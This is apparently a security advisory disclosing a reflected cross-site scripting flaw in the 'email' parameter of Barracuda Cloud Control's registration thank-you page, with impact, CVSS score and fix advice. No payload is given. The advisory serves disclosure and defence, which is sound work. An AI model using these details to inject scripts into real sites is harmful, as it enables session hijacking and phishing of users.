Product & Service Introduction:
===============================
The Barracuda Control Center is a comprehensive cloud-based service that
enables administrators to monitor and configure multiple
Barracuda Networks products from a single console. With the Barracuda
Control Center, you can check the health of all connected
devices, run reports that are generated by gathering data from all the
devices, and assign roles with varied permissions to different
types of users. The powerful Web interface of the Barracuda Control
Center provides for convenient configuration and management of
multiple Barracuda Networks device settings, while also providing a view
of each device Web interface for individual configuration
or reporting. No need to install software or deploy hardware. Key
statistics can be viewed by device type at a glance on the Status
page of the Web interface with the ability to drill down for more detail
into the individual Web interface for each connected device.

Technical Details & Description:
================================
A client-side cross site scripting vulnerability has been discovered in
the official Barracuda Networks Cloud Control v7.1.1.003 appliance
web-application.
The cross site vulnerability allows remote attackers to inject own
malicious script codes to client-side browser to web-application
requests to compromise
session credentials or client-side web context.

The cross site scripting web vulnerability is located in the `email`
parameter of the `./new_user/success/` registration module. Remote
attackers with
knowledge about an exisiting email are able to attach the exisiting
email with a payload to the thanks page request. Thus allows the remote
attacker to
trigger a client-side cross site scripting issue within the thank you
page of the barracuda cloud control registration mechanism. The request
method to
inject is GET and the attack vector is located on the client-side of the
online service web-application.

The security risk of the cross site scripting web vulnerability is
estimated as medium with a cvss (common vulnerability scoring system)
count of 3.3.
Exploitation of the client-side cross site web vulnerability requires no
privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in non-persistent
phishing, session hijacking, non-persistent external redirect to malicious
sources and client-side manipulation of affected or connected web module
context.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./new_user/success/

Vulnerable Parameter(s):
[+] email


Proof of Concept (PoC):
=======================
The cross site scripting vulnerability can be exploited by remote
attackers without privileged web-application user account and with low
user interaction.

Solution - Fix & Patch:
=======================
The vulnerability can be patched by a parse of the vulnerable email
parameter in the thank you registration page of barracuda networks cc
application.
Parse in the vulnerable output location the source to prevent the
execution of the client-side injected payloads. Disallow the usage of
special chars
on parameter requests via GET method.


Security Risk:
==============
The security risk of the client-side cross site scripting web
vulnerability in the cloud control web-application is estimated as medium.
